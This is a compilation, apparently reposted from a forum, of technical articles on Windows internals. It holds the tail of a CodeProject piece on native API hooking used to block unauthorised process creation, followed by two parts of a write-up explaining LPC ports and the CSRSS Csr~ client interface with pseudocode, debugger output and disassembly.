not going to compromise our security. Conclusion In conclusion I must say that hooking the native API is definitely one the most powerful programming techniques that ever existed. This article gives you just one example of what can be achieved by hooking the native API - as you can see, we managed to prevent execution of unauthorized programs by hooking a single(!!!) native API function. You can extend this approach further, and gain full control over hardware devices, file IO operation, network traffic, etc. However, our current solution is not going to work for kernel-mode API callers - once kernel-mode code is allowed to call ntoskrnl.exe's exports directly, these calls don't need to go via the the system service dispatcher. Therefore, in my next article we are going to hook ntoskrnl.exe itself. This sample has been successfully tested on several machines that run Windows XP SP2. Although I haven't yet tested it under any other environment, I believe that it should work fine everywhere - after all, it does not use any structure that may be system-specific. In order to run the sample, all you have to do is to place protector.exe and protector.sys to the same directory, and run protector.exe. Until protector.exe's application window is closed, you will be prompted every time you attempt running any executable. I would highly appreciate if you send me an e-mail with your comments and suggestions. License This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below. A list of licenses authors might use can be found here Sursa: Hooking the native API and controlling process creation on a system-wide basis - CodeProject
  20. Windows CSRSS Write Up: Inter-process Communication (part 1/3) In the second post of the Windows CSRSS Write Up series, I would like to explain how the practical communication between the Windows Subsystem and user’s process takes place under the hood. Due to the fact that some major improvements have been introduced in Windows Vista and later, the entire article is split into two parts – the first one giving an insight at what the communication channel really is, as well as how is it taken advantage of by both CSRSS and a user processes. The second one, on the other hand, is going to talk through the modifications and new features shipped with the Windows systems starting from Vista, as most of the basic ideas remain the same for decades. As you already know what to expect, proceed to the next section Local Procedure Calls Before starting to analyze the mystery API interface implemented by CSRSS (otherwise known as CsrApi), one must first get some basic knowledge regarding the internal mechanism, used to establish a stable inter-process connection and actually exchange information. The basics LPC is a packet-based, inter-process communication mechanism implemented in the NT kernel (supported since the very first Windows NT versions – most likely 3.51). The mechanism was originally designed so that it was possible to communicate between modules running in different processor privilege levels – i.e. process – process, process – driver and driver – driver connections are equally well supported. This is possible thanks to the fact that the required API functions are exposed to both user-mode (via ntdll.dll) and kernel-mode (via ntoskrnl.exe). Even though we are mostly concerned by the first scenario (where numerous ring-3 processes communicate with csrss.exe), practical examples of the remaining two also exist – let it be the Kernel Mode Security Support Provider Interface (KSecDD.sys) communicating with LSASS.exe, for instance. Apart from being used by certain system processes talking to each other (e.g. Lsass verifying user credentials on behalaf of Winlogon), LPC is also a part of the RPC (Remote Procedure Call) implementation. What should be also noted is that the LPC mechanism is directed towards synchronous communication, and therefore enforces a blocking scheme, where the client must wait until its request is dispatched and handled, instead of continuing its execution. As mentioned in the Introduction section, Windows Vista has brought some major changes in this matter – one of these changes was the implementation of a brand new mechanism called ALPC (standing for Advanced or Asynchronous LPC – which one?), deprecating the old LPC mechanism. Since then, all the client – server requests are performed in an asynchronous manner, so that the client is not forced to wait for the response, for ages. Underlying port objects As it turns out, a great part of the Windows system functionalities internally rely on special, dedicated objects (implemented by the Object Manager) – let it be File System operations, Windows Registry management, thread suspension or whatever you can think of – the LPC mechanism isn’t any different. In this particular case, we have to deal with a port object, otherwise known as LpcPortObjectType. The OBJECT_TYPE structure, describing the object in consideration, is defined as follows: kd> dt _OBJECT_TYPE 81feca90 /r ntdll!_OBJECT_TYPE +0x000 Mutex : _ERESOURCE +0x038 TypeList : _LIST_ENTRY [ 0x81fecac8 - 0x81fecac8 ] +0x040 Name : _UNICODE_STRING "Port" +0x000 Length : 8 +0x002 MaximumLength : 0xa +0x004 Buffer : 0xe1007110 "Port" +0x048 DefaultObject : 0x80560960 Void +0x04c Index : 0x15 +0x050 TotalNumberOfObjects : 0xdb +0x054 TotalNumberOfHandles : 0xd9 +0x058 HighWaterNumberOfObjects : 0xdb +0x05c HighWaterNumberOfHandles : 0xd9 +0x060 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x000 Length : 0x4c +0x002 UseDefaultObject : 0x1 '' +0x003 CaseInsensitive : 0 '' +0x004 InvalidAttributes : 0x7b2 +0x008 GenericMapping : _GENERIC_MAPPING +0x018 ValidAccessMask : 0x1f0001 +0x01c SecurityRequired : 0 '' +0x01d MaintainHandleCount : 0 '' +0x01e MaintainTypeList : 0 '' +0x020 PoolType : 1 ( PagedPool ) +0x024 DefaultPagedPoolCharge : 0xc4 +0x028 DefaultNonPagedPoolCharge : 0x18 +0x02c DumpProcedure : (null) +0x030 OpenProcedure : (null) +0x034 CloseProcedure : 0x805904f3 void nt!ObReferenceObjectByName+0 +0x038 DeleteProcedure : 0x805902e1 void nt!ObReferenceObjectByName+0 +0x03c ParseProcedure : (null) +0x040 SecurityProcedure : 0x8056b84f long nt!CcUnpinDataForThread+0 +0x044 QueryNameProcedure : (null) +0x048 OkayToCloseProcedure : (null) +0x0ac Key : 0x74726f50 +0x0b0 ObjectLocks : [4] _ERESOURCE This object can be considered a specific gateway between two modules – it is being used by both sides of the communication channel, while not seeing each other directly at the same time. More precisely, the subject of our considerations are named ports, only; this is caused by the fact that the object must be easily accessible for every possible process. After the server correctly initializes a named port object – later utilized by the clients – it waits for an incoming connection. When a client eventually decides to connect, the server can verify whether further communication should or shouldn’t be allowed (usually based on the client’s CLIENT_ID structure). If the request is accepted, the connection is considered established – the client is able to send input messages and optionally wait for a response (depending on the packet type). Every single packet exchanged between the client and server (including the initial connection requests) begins with a PORT_MESSAGE structure, of the following definition: // // LPC Port Message // typedef struct _PORT_MESSAGE { union { struct { CSHORT DataLength; CSHORT TotalLength; } s1; ULONG Length; } u1; union { struct { CSHORT Type; CSHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { LPC_CLIENT_ID ClientId; double DoNotUseThisField; }; ULONG MessageId; union { LPC_SIZE_T ClientViewSize; ULONG CallbackId; }; } PORT_MESSAGE, *PPORT_MESSAGE; The above header consist of the most essential information concerning the message, such as: DataLength Determines the size of the buffer, following the header structure (in bytes) TotalLength Determines the entire size of the packet, must be equal sizeof(PORT_MESSAGE) + DataLength Type Specifies the packet type, can be one of the following: // // LPC Message Types // typedef enum _LPC_TYPE { LPC_NEW_MESSAGE, LPC_REQUEST, LPC_REPLY, LPC_DATAGRAM, LPC_LOST_REPLY, LPC_PORT_CLOSED, LPC_CLIENT_DIED, LPC_EXCEPTION, LPC_DEBUG_EVENT, LPC_ERROR_EVENT, LPC_CONNECTION_REQUEST, LPC_CONNECTION_REFUSED, LPC_MAXIMUM } LPC_TYPE; ClientId Identifies the packet sender by Process ID and Thread ID MessageId A unique value, identifying a specific LPC message Due to the fact that LPCs can be used to send both small and large amounts of data – two, distinct mechanisms of passing memory between the client and server were developed. In case 304 or less bytes are requested to be sent, a special LPC buffer is used and sent together with the header (described by Length and DataLength), while greater messages are passed using shared memory sections, mapped in both parties taking part in the data exchange. LPC Api Due to the fact that LPC is an internal, undocumented mechanism (mostly employed by the system executables), one cannot make use of it based on the win32 API alone. However, a set of LPC-management native routines is exported by the ntdll module; using these functions, one is able to build his own LPC-based protocol and use it on his own favor (e.g. as a fast and convenient IPC technique). A complete list of the Native Calls follows: NtCreatePort NtConnectPort NtListenPort NtAcceptConnectPort NtCompleteConnectPort NtRequestPort NtRequestWaitReplyPort NtReplyPort NtReplyWaitReplyPort NtReplyWaitReceivePort NtImpersonateClientOfPort NtSecureConnectPort The above list is somewhat correspondent to the cross-ref table for _LpcPortObjectType (excluding NtQueryInformationPort, NtRegisterThreadTerminatePort and a couple of other routines).. All of the functions are more or less documented by independent researchers, Tomasz Nowak and Bo Branten – a brief description of each export is available on the net, though most of the symbols speak by themselves anyway. Having the function names, let’s take a look at how the functions can be actually taken advantage of! Server – Setting up a port In order to make the server reachable for client modules, it must create Named Port by calling NtCreatePort (specyfing the object’s name and an optional security descriptor): NTSTATUS NTAPI NtCreatePort (OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectInfoLength, IN ULONG MaxDataLength, IN OUT PULONG Reserved OPTIONAL ); When the LPC port is successfully created, it becomes visible to other, external modules – potential clients. Server – Port Listening In order to accept an inbound connection, the server starts listening on the newly created port, awaiting for the clients. This is achieved using a NtListenPort routine of the following definition: NTSTATUS NTAPI NtListenPort (IN HANDLE PortHandle, OUT PLPC_MESSAGE ConnectionRequest); Being dedicated to the synchronous approach, the function blocks the thread and waits until someone tries to make use of the port. And so, while the server is waiting, some client eventually tries to connect… Client – Connecting to a Port Knowing that the port has already been created and is currently waiting (residing inside NtListenPort), our client process is able to connect, specifying the port name used during the creation proces. The following function will take care of the rest: NTSTATUS NTAPI NtConnectPort (OUT PHANDLE ClientPortHandle, IN PUNICODE_STRING ServerPortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PLPC_SECTION_OWNER_MEMORY ClientSharedMemory OPTIONAL, OUT PLPC_SECTION_MEMORY ServerSharedMemory OPTIONAL, OUT PULONG MaximumMessageLength OPTIONAL, IN ConnectionInfo OPTIONAL, IN PULONG ConnectionInfoLength OPTIONAL ); Server – Accepting (or not) the connection When a client tries to connect at one side of the port, the server’s execution track returns from NtListenPort, having the PORT_MESSAGE header filled with information. In particular, the server can access a CLIENT_ID structure, identifying the source process/thread. Based on that data, the server can make the final decision whether to allow or refuse the connection. Whatever option is chosen, the server calls a NtAcceptConnectPort function: NTSTATUS NTAPI NtAcceptConnectPort (OUT PHANDLE ServerPortHandle, IN HANDLE AlternativeReceivePortHandle OPTIONAL, IN PLPC_MESSAGE ConnectionReply, IN BOOLEAN AcceptConnection, IN OUT PLPC_SECTION_OWNER_MEMORY ServerSharedMemory OPTIONAL, OUT PLPC_SECTION_MEMORY ClientSharedMemory OPTIONAL ); In case of a rejection, the execution ends here. The client returns from the NtConnectPort call with an adequate error code (most likely STATUS_PORT_CONNECTION_REFUSED), and the server ends up calling NtListenPort again. If, however, the server decides to proceed with the connection, another routine must be called: NTSTATUS NTAPI NtCompleteConnectPort (IN HANDLE PortHandle); After the above function is triggered, our connection is confirmed and read to go! Server – Waiting for a message After opening up a communication channel, the server must begin listening for incoming packets (or client-related events). Because of the specific nature of LPC, the server is unable to send messages by itself – rather than that, it must wait for the client to send a request, and then possibly respond with a piece of data. And so, in order to (as always – synchronously) await a message, the server should call the following function: NTSTATUS NTAPI NtReplyWaitReceivePort (IN HANDLE PortHandle, OUT PHANDLE ReceivePortHandle OPTIONAL, IN PLPC_MESSAGE Reply OPTIONAL, OUT PLPC_MESSAGE IncomingRequest); Client – Sending a message Having the connection established, our client is now able to send regular messages, at the time of its choice. Moreover, the application can choose between one-side packets and interactive requests. By sending the first type of message, the client does not expect the server to reply – most likely, it is a short, informational packet. On the other hand, interactive messages require the server to fill in a return buffer of a given size. These two packet types can be sent using different native calls: NTSTATUS NTAPI NtRequestPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Request); or NTSTATUS NTAPI NtRequestWaitReplyPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Request, OUT PLPC_MESSAGE IncomingReply); Apparently, the difference between these two definitions are pretty much obvious Server – Replying to incoming packets In case the client requests data from the server, the latter is obligated to respond providing some output data. In order to do so, the following function should be used: NTSTATUS NTAPI NtReplyPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Reply); Client – Closing the connection When, eventually, the client either terminates or decides to close the LPC connection, it can clean up the connection by simply dereferencing the port object – the NtClose (or better, documented CloseHandle) native call can be used: NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle); The entire IPC process has already been presented in a visual form – some very illustrative flow charts can be found here (LPC Communication) and here (LPC Part 1: Architecture). All of the described functions are actually used while maintaining the CSRSS connection – you can check it by yourself! What should be noted though, is that the above summary covers the LPC communication (which can be already used to create an IPC framework), but tells nothing about what data, in particular, is being sent over the named port. Obviously, the Windows Subsystem manages its own, internal communication protocol implemented by both client-side (ntdll.dll) and server-side (csrsrv.dll, winsrv.dll, basesrv.dll) system libraries. In order to make it more convenient for kernel32.dll to make use of the CSR packets, a special subset of routines dedicated to CSRSS-communication exists in ntdll.dll. The list of these functions includes, but is not limited to: CsrClientCallServer CsrClientConnectToServer CsrGetProcessId CsrpConnectToServer Thanks to the above symbols, it is possible for kernel32.dll (and most importantly – us) to send custom messages on behalf of the current process, without a thorough knowledge of the protocol structure. Furthermore, ntdll.dll contains all the necessary, technical information required while talking to CSRSS, such as the port name to connect to. The next post is going to talk over both client- and user- sides of the LPC initialization and usage, as it is practically performed – watch out Conclusion All in all, a great number of internal Windows mechanisms make use of LPC – both low-level ones, such as the Windows debugging facility or parts of exception handling implementation, as well as high-level capabilities, including user credentials verification performed by LSASS. One can list all of the named (A)LPC port object present in the system using the WinObj tool by Windows Sysinternals. It is also highly recommended to create one’s own implementation of a LPC-based inter-process communication protocol – a very learning experience. An exemplary source code can be found in the following package: link. Have fun, leave comments and stay tuned for respective entries ;D References LPC Communication Local Procedure Calls (LPCs) LPC Part 1: Architecture Sysinternals WinObj Windows Privilege Escalation through LPC Ntdebugging on LPC interface Windows CSRSS Write Up: Inter-process Communication (part 2/3) A quick beginning note: My friend d0c_s4vage has created a technical blog and posted his first text just a few days ago. The post entry covers a recent, critical libpng vulnerability discovered by this guy; the interesting thing is that, among others, the latest Firefox and Chrome versions were vulnerable. Feel free to take a minute and read the article here. Additionally, the video and mp3 recordings from the presentation performed by me and Gynvael on the CONFidence 2010 conference, are now publicly available on the official website: link (Case study of recent Windows vulnerabilities). Foreword A majority of the LPC /supposedly an acronym for Local Inter-Process Communication rather than Local Procedure Calls, as stated in WRK/ basics have been described in the first post of Inter-process Communication chapter, together with the corresponding, undocumented native functions related to LPC Ports. As you already have the knowledge required to understand higher abstraction levels, today I would like to shed some light on the internal Csr~ interface provided by NTDLL and extensively utilized by the Win32 API DLLs (kernel32 and user32). Introduction As explained previously, LPC is an (officially) undocumented, packet-based IPC mechanism. It basically relies on two things – a Port Object and internal LPC structures, such as _PORT_HEADER – both unexposed to the Windows API layer. Due to the fact that CSRSS implements his own protocol on top of LPC, it would become highly inconvenient (and impractical) for the win32 libraries to take care of both LPC and CSRSS internals, at the same time. And so, an additional layer between the port-related functions and high-level API was created – let’s call it Native Csr Interface. The medium level of the call chain provides a set of helper functions, specifically designed to hide the internals of the communication channel from high-level API implementation. Therefore, it should be theoretically possible to re-implement the Csr-Interface using a different communication mechanism with similar properties, without any alterations being applied on the API level. This has been partially accomplished by replacing the deprecated LPC with an improved version of the mechanism – Advanced / Asynchronous LPC on modern NT-family systems (Vista, 7). In this post, the precise meaning, functionalities and definitions of the crucial Csr~ routines will be focused on. After reading the article, one should be able to recognize and understand specific CSR API calls found inside numerous, documented functions related to console management, process / thread creation and others. Connection Initialization What has already been mentioned is the fact that every application belonging to the win32-subsystem is connected to the Windows Subsystem process (CSRSS) at its startup, by default. Although it is technically possible to disconnect from the port before the program is properly terminated, such behavior is beyond the scope of this post entry. However, some details regarding a security flaw related to CSRSS-port disconnection in the context of a live process, can be found here and here (discovered by me and Gynvael). From this point on, it will be assumed that when the process is given execution (i.e. Entry Point, imported module’s DllMain or TLS callback is called), the CSRSS connection is already established. And so, the question is – how, and where the connection is set up during the process initialization. This section provides answers for both of these questions. Opening named LPC port During a process creation, numerous parts of the system come into play and perform their part of the job. It all starts with the parent application calling an API function (CreateProcess) – the execution then goes through the kernel, a local win32 subsystem, and finally – ring-3 process self-initialization (performed by the system libraries). A step-by-step explanation of the Windows process creation can be found in the Windows Internals 5 book, Chapter “Processes, Threads and Jobs”. As the CSRSS connection is not technically crucial for the process to exist (and execute), it can be performed later than other parts of the process initialization. And so, the story of establishing a connection with the subsystem begins in the context of a newly-created program – more precisely, inside the kernel32 entry point (kernel32!BaseDllInitialize). At this point, the CSRSS-related part of the routine performs the following call: view sourceprint? 1.BOOL WINAPI _BaseDllInitialize(HINSTANCE, DWORD, LPVID) 2.{ 3.(...) 4. 5.CsrClientConnectToServer(L"\\Windows",BASESRV_INDEX,...); 6. 7.(...) 8.} thus forwarding the execution to the ntdll.dll module, where a majority of the subsystem-related activities are performed. Before we dive into the next routine, two important things should be noted here: The Base Dll (kernel32) has complete control over the Port Object directory and makes the final decision regarding the referenced port’s name prefix. As it turns out, it is also possible for a different Object Directory to be used – let’s take a look at the following pseudo-code listing: view sourceprint? 1.if(SessionId) 2.swprintf(ObjectDirectory,L"%ws\\%ld%ws",L"\\Sessions",SessionId,L"\\Windows"); 3.else 4.wcscpy(ObjectDirectory,L"\\Windows"); The “SessionId” symbols represents a global DWORD variable, initialized inside the BaseDllInitialize function, as well: view sourceprint? 1.mov eax, large fs:18h 2.mov eax, [eax+30h] 3.mov eax, [eax+1D4h] 4.mov _SessionId, eax … translated to the following high-level pseudo-code: view sourceprint? 1.SessionId = NtCurrentTeb()->SessionId; If one takes a look into the PEB structure definition, he will certainly find the variable: view sourceprint? 1.kd> dt _PEB 2.nt!_PEB 3.(...) 4.+0x154 TlsExpansionBitmapBits : [32] Uint4B 5.+0x1d4 SessionId : Uint4B 6.+0x1d8 AppCompatFlags : _ULARGE_INTEGER 7.(...) If one decides to connect to the win32 subsystem, he must specify a particular ServerDll to connect to (csrsrv, basesrv, winsrv); the identification number is be passed as the second argument of CsrClientConnectToServer. As can be seen, kernel32 specifies the BASESRV_INDEX constant, as it desires to connect to a certain module – being basesrv in this case. Basesrv.dll is the kernel32 equivalent on the subsystem side – a Csr connection between these two modules is required for some of the basic win32 API calls to work properly. On the other hand, all of the console-management functionality is implemented by winsrv (to be exact – the consrv part of the module). And so – in order to take advantage of functions, such as AllocConsole, FreeConsole, SetConsoleTitle or WriteConsole – a valid connection with winsrv is also required. Fortunately – kernel32 remembers about it and issues a call to another internal function – ConDllInitialize() – after the LPC Port connection is successfully established. The routine’s obvious purpose is to set up the console-related structures inside the Base dll image, and use the CsrClientConnectToServer function with the second argument set to CONSRV_INDEX. When we make a step into CsrClientConnectToServer and analyze further, a great amount of CSRSS-related initialization code surrounds us. Don’t worry – a huge part of the routine deals with user-mode structures and other irrevelant stuff – our interest begins, where the following call is made: view sourceprint? 1.if(!CsrPortHandle) 2.{ 3.ReturnCode = CsrpConnectToServer(ObjectDirectory); // ObjectDirectory is kernel32-controlled 4.if(!NT_SUCCESS(ReturnCode)) 5.return (ReturnCode); 6.} As the above indicates, the global CsrPortHandle variable is compared with zero – if this turns out to be true, CsrpConnectToServer is called, taking the object directory string as its only argument. So – let’s face another routine ;> The proc starts with the following code: view sourceprint? 1.CsrPortName.Length = 0; 2.CsrPortName.MaxLength = 2*wcslen(ObjectDirectory)+18; 3.CsrPortName.Buffer = RtlAllocateHeap(CsrHeap,NtdllBaseTag,CrsPortName.MaxLength); 4. 5.RtlAppendUnicodeToString(&CsrPortName,ObjectDirectory); 6.RtlAppendUnicodeToString(&CsrPortName,L"\\"); 7.RtlAppendUnicodeToString(&CsrPortName,L"ApiPort"); Apparently, the final Port Object name is formed here, and stored inside a local “UNICODE_STRING CsrPortName” structure. Next then, a special section is created, using an adequate native call: view sourceprint? 1.LARGE_INTEGER SectionSize = 0x10000; 2.NtStatus = NtCreateSection(&SectionHandle, SECTION_ALL_ACCESS, NULL, &SectionSize, PAGE_READWRITE, SEC_RESERVE, NULL); 3. 4.if(!NT_SUCCESS(NtStatus)) 5.return NtStatus; This section is essential to the process<->subsystem communication, as this memory area is mapped in both the client and win32 server, and then used for exchanging large portions of data between these two parties. And so, when the section is successfully created, the routine eventually tries to connect to the named port! view sourceprint? 1./* SID Initialization */ 2.NtStatus = RtlAllocateAndInitializeSid(...,&SystemSid); 3.if(!NT_SUCCESS(NtStatus)) 4.return NtStatus; 5. 6.NtStatus = NtSecureConnectPort(&CsrPortHandle,&CsrPortName,...); 7.RtlFreeSid(SystemSid); 8.NtClose(&SectionHandle); For the sake of simplicity and reading convenience, I’ve stripped the remaining arguments from the listing; they describe some advanced connection characteristics, and are beyond the scope of this post. When everything is fine up to this point, we have an established connection (yay, CSRSS accepted our request) and an open handle to the port. Therefore, we can start sending first packets, in order to let CSRSS (and its modules – ServerDlls) know about ourselves. So – after returning back to ntdll!CsrClientConnectToServer: view sourceprint? 1.NtStatus = CsrpConnectToServer(ObjectName); 2.if(!NT_SUCCESS(NtStatus)) 3.return NtStatus; the following steps are taken: view sourceprint? 1.if(ConnectionInformation) 2.{ 3.CaptureBuffer = CsrAllocateCaptureBuffer(1,InformationLength); 4.CsrAllocateMessagePointer(CaptureBuffer,InformationLength,&conn.ConnectionInformation); 5.RtlMoveMemory(conn.ConnectionInformation,ConnectionInformation,InformationLength); 6.} 7.CsrClientCallServer(&Message, CaptureBuffer, CSR_API(CsrpClientConnect), sizeof(ConnStructure)); First of all, the ConnectionInformation pointer is checked – in case it’s non-zero, the CsrAllocateCaptureBuffer, CsrAllocateMessagePointer and RtlMoveMemory functions are called, respectively. The purpose of these operations is to move the data into a shared heap in such a way, that both our application and CSRSS can easily read its contents. After the “if” statement, a first, real message is sent to the subsystem using CsrClientCallServer, of the following prototype: view sourceprint? 1.NTSTATUS CsrClientCallServer(PCSR_API_MSG m, PCSR_CAPTURE_HEADER CaptureHeader, CSR_API_NUMBER ApiNumber, ULONG ArgLength); For a complete, cross-version compatible table and/or list of Csr APIs, check the following references: CsrApi List and CsrApi Table. And so, in the above snippet, the “CsrpClientConnect” API is used, providing additional information about the connecting process. This message is handled by an internal csrsrv.CsrSrvClientConnect routine, which redirects the message to an adequate callback function, specified by the ServerDll being connected to (in this case – basesrv!BaseClientConnectRoutine). After sending the above message, the connection between the client- and server-side DLLs (i.e. kernel32 and basesrv) can be considered fully functional. As it turns out, parts of the execution path presented above can be also true for CSRSS itself! Because of the fact that ntdll!CsrClientConnectToServer can be reached from inside the subsytem process, the CsrClientConnectToServer routine must handle such case properly. And so – before any actions are actually taken by the function, the current process instance is checked, first: view sourceprint? 01.NtHeaders = RtlImageHeader(NtCurrentPeb()->ImageBaseAddress); 02.CsrServerProcess = (NtHeaders->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_NATIVE); 03. 04.if(CsrServerProcess) 05.{ 06.// Take normal steps 07.} 08.else 09.{ 10.// Do nothing, except for the _CsrServerApiRoutine pointer initialization 11._CsrServerApiRoutine = GetProcAddress(GetModuleHandle("csrsrv"),"CsrCallServerFromServer"); 12.} Apparently, every process connecting to the LPC Port that has the SUBSYSTEM_NATIVE header value set, is assumed to be an instance of CSRSS. This, in turn, implies that CSRSS is the only native, system-critical process which makes use of the Csr API calls. Data tranmission Having the connection up and running, a natural order of things is to exchange actual data. In order to achieve this, one native call is exported by ntdll – the CsrClientCallServer function, already mentioned in the text. Because of the fact that each Csr API requires a different amount of input/output data (while some don’t need these, at all) from the requestor, as well as due to the LPC packet-length limitations, the messages can be sent in a few, different ways. In general, all of the CSR-supported packets can be divided into three, main groups: empty, short, and long packets. Based on the group a given packet belongs to, it is sent using an adequate mechanism. This section provides a general overview of the data transmission-related techniques, as well as exemplary (practical) use of each type. Empty packets Description “Empty packets” is a relatively small group of purely-informational messages, which are intended to make CSRSS perform a specific action. These packets don’t supply any input data – their API ID is the only information needed by the win32 subsystem. A truely-empty packets don’t generate any output data, either. Sending Due to the fact that “empty packets” don’t supply any additional information, the only data being transferred is the internal _PORT_HEADER structure. The address of a correctly initialized PortHeader should be then passed as the first CsrClientCallServer parameter. The shared section doesn’t take part while sending and handling these packets. What is more, no serious input validation is required by the API handler, because there is no input in the first place. The routine is most often supposed to perform one, certain action and then return. Unsupported APIs, statically returning the STATUS_UNSUCCESSFUL or STATUS_NOT_SUPPORTED error codes, can also be considered “empty packets”, as they always behave the same way, regardless of the input information. Examples One, great example of an empty-packet is winsrv!SrvCancelShutdown. As the name implies, the APIs purpose is pretty straight-forward – cancelling the shutdown. Seemingly, no input / output arguments are necessary: view sourceprint? 01.; __stdcall SrvCancelShutdown(x, x) 02._SrvCancelShutdown@8 proc near 03.call _CancelExitWindows@0 ; CancelExitWindows() 04.neg eax 05.sbb eax, eax 06.and eax, 3FFFFFFFh 07.add eax, 0C0000001h 08.retn 8 09._SrvCancelShutdown@8 endp As shown above, the handler issues a call to the CancelExitWindows() function, and doesn’t make use of any of the two parameters. Another CsrApi function of this kind is basesrv!BaseSrvNlsUpdateCacheCount, always performing the same task: view sourceprint? 01.; __stdcall BaseSrvNlsUpdateCacheCount(x, x) 02._BaseSrvNlsUpdateCacheCount@8 proc near 03.cmp _pNlsRegUserInfo, 0 04.jz short loc_75B28AFC 05.push esi 06.mov esi, offset _NlsCacheCriticalSection 07.push esi 08.call ds:__imp__RtlEnterCriticalSection@4 ; RtlEnterCriticalSection(x) 09.mov eax, _pNlsRegUserInfo 10.inc dword ptr [eax+186Ch] 11.push esi 12.call ds:__imp__RtlLeaveCriticalSection@4 ; RtlLeaveCriticalSection(x) 13.pop esi 14.loc_75B28AFC: 15.xor eax, eax 16.retn 8 17._BaseSrvNlsUpdateCacheCount@8 endp A few more examples can be found – looking for these is left as an exercise for the reader. Short packets Description The “short packets” group describes a great part of the Csr messages. Every request, passing actual data to / from CSRSS but fitting in the LPC-packet length restriction belongs to this family. And so – most fixed-size (i.e. these, that don’t contain volatile text strings or other, possibly long chunks of data) structures are indeed smaller than the 304-byte limitation. Sending As this particular type requires additional data to be appended at the end of the _PORT_MESSAGE structure, a set of API-specific structs has been created. All of these types begin with the standard LPC PortMessage header, and then specify the actual variables to send, e.g.: view sourceprint? 1.struct CSR_MY_STRUCTURE 2.{ 3.struct _PORT_HEADER PortHeader; 4.BOOL Boolean; 5.ULONG Data[0x10]; 6.DWORD Flags; 7.}; Such amount of data can be still sent in a single LPC packets. And so, a custom structure, beginning with the _PORT_HEADER field must be used as a first CsrClientCallServer argument. The Capture Buffer technique remains unused, thus the second parameter should be set to NULL. Examples As for the examples, it is really easy to list a couple: winsrv!SrvGetConsoleAliasExesLength winsrv!SrvSetConsoleCursorMode winsrv!SrvGetConsoleCharType basesrv!BaseSrvExitProcess basesrv!BaseSrvBatNotification The above handlers take a constant number of bytes as the input, and optionally return some data (of static length, as well). Long packets Description From the researcher’s point of view, the “long packets” group is doubtlessly the most interesting one. Due to the fact that they are used to send/receive large amounts of data (beyond the maximum size of a LPC message), a special mechanism called a Shared Section is used for transferring these messages. Let’s take a look at the details. Initialization Do you remember the ntdll!CsrpConnecToServer function? At some point, between forming the port name and establishing the connection, we could see a weird NtCreateSection(0×10000) call. As it turns out, this section is a special memory area, mapped in both the client and server processes. After creating the section, its handle is passed to CSRSS through the NtSecureConnectPort native call. Once the win32 subsystem receives a connection request and accepts it, the section is mapped into the server’s virtual address space. Next then, CSRSS provides its client with some basic memory mapping information – such as the server-side base address and view size. Based on the supplied info, a few global variables are initialized (CsrProcessId, CsrObjectDirectory), with CsrPortMemoryRemoteDelta being the most important one for us: view sourceprint? 1.CsrPortMemoryRemoteDelta = (CSRSS.BaseAddress - LOCAL.BaseAddress); Basically, the above variable is filled with the distance between the server- and user- mappings of the shared memory. This information is going to appear to be crucial to exchange information, soon. Furthermore, a commonly known structure called “heap” is created on top of the allocation: view sourceprint? 1.CsrPortHeap = RtlCreateHeap(0x8000u, LOCAL.BaseAddress, LOCAL.ViewSize, PageSize, 0, 0); From this point on, the shared heap is going to be used thorough the whole communication session, for passing data of various size and content. The functions taking advantage of the heap are: CsrAllocateCaptureBuffer CsrFreeCaptureBuffer CsrAllocateMessagePointer (indirect) CsrCaptureMessageBuffer (indirect) CsrCaptureMessageString (indirect) [*]All of the above routines are apparently related to the “Capture Buffer” mechanism, described in the following section. Capture Buffers In order to fully understand the idea behind Capture Buffers, one should see it as a special box, a container designed to hold data in such a way, that it can be easily accessed by both sides of the communication (i.e. be offset-based rather than VA-based etc). Such structure is determined by the following characteristics: Number of memory blocks: one Capture Buffer is able to hold mulitple data blocks – e.g. a couple of strings, describing a specific object (like a console window). Total size: the total size of the container, including its header, pointer table, and the data blocks themselves. So – these “data boxes” are used to transfer data between the two parties. In order to illustrate this complex the mechanism, suppose we’ve got the following structure: view sourceprint? 01.struct CSR_MESSAGE 02.{ 03._PORT_HEADER PortHeader; 04.LPVOID FirstPointer; 05.LPVOID SecondPointer; 06.LPVOID ThirdPointer; 07.LPVOID ForthPointer; 08.LPVOID FifthPointer; 09.} m; The above packet is going to be sent to CSRSS after the initialization takes place. Having the above declared, we can take a closer look at each of the CA-related functions: CsrAllocateCaptureBuffer(ULONG PointerCount, ULONG Size) Allocates an adequate number of bytes from CsrHeap: (Size + sizeof(CAPTURE_HEADER) + PointerCount*sizeof(LPVOID)) … and returns the resulting pointer to the user. Right after the allocation, the CaptureBuffer structure contents look like this: CaptureBuffer = AllocateCaptureBuffer(5,20); Due to the fact that no messages have been allocated from the CaptureBuffer yet, Capture.Memory is a single memory block, while the Capture.Pointers[] array remains empty. CsrFreeCaptureBuffer(LPVOID CaptureBuffer) Frees a given CaptureBuffer memory area, by issuing a simple call: view sourceprint? 1.RtlFreeHeap(CsrHeap,0,CaptureBuffer); CsrAllocateMessagePointer(LPVOID CaptureBuffer, ULONG Length, PVOID* Pointer) The routine allocates “Length” bytes from the CaptureBuffer’s general memory block. The address of the newly allocated block is stored inside *Pointer, while Pointer is put into one of the Capture.Pointers[] items. Example: view sourceprint? 1.CsrAllocateMessagePointer(CaptureBuffer,3,&m.FirstPointer); Having three (out of twenty) bytes allocated, one can copy some data: view sourceprint? 1.RtlCopyMemory(m.FirstPointer,"\xcc\xcc\xcc",3); After all of the five allocations are made, the CaptureBuffer structure layout can look like this: It is important to keep in mind that the pointers into CaptureBuffer.Memory[] must reside in the actual LPC message being sent to the server – the reason of this requirement will be disclosed, soon CsrCaptureMessageBuffer(LPVOID CaptureBuffer, PVOID Buffer, ULONG Length, PVOID *OutputBuffer) The routine is intended to simplify things for the developer, by performing the CaptureBuffer-allocation and copying the user specified data at the same time. Pseudocode: view sourceprint? 1.CsrAllocateMessagePointer(CaptureBuffer,Length,OutputBuffer); 2.RtlCopyMemory(*OutputBuffer,Buffer,Length); 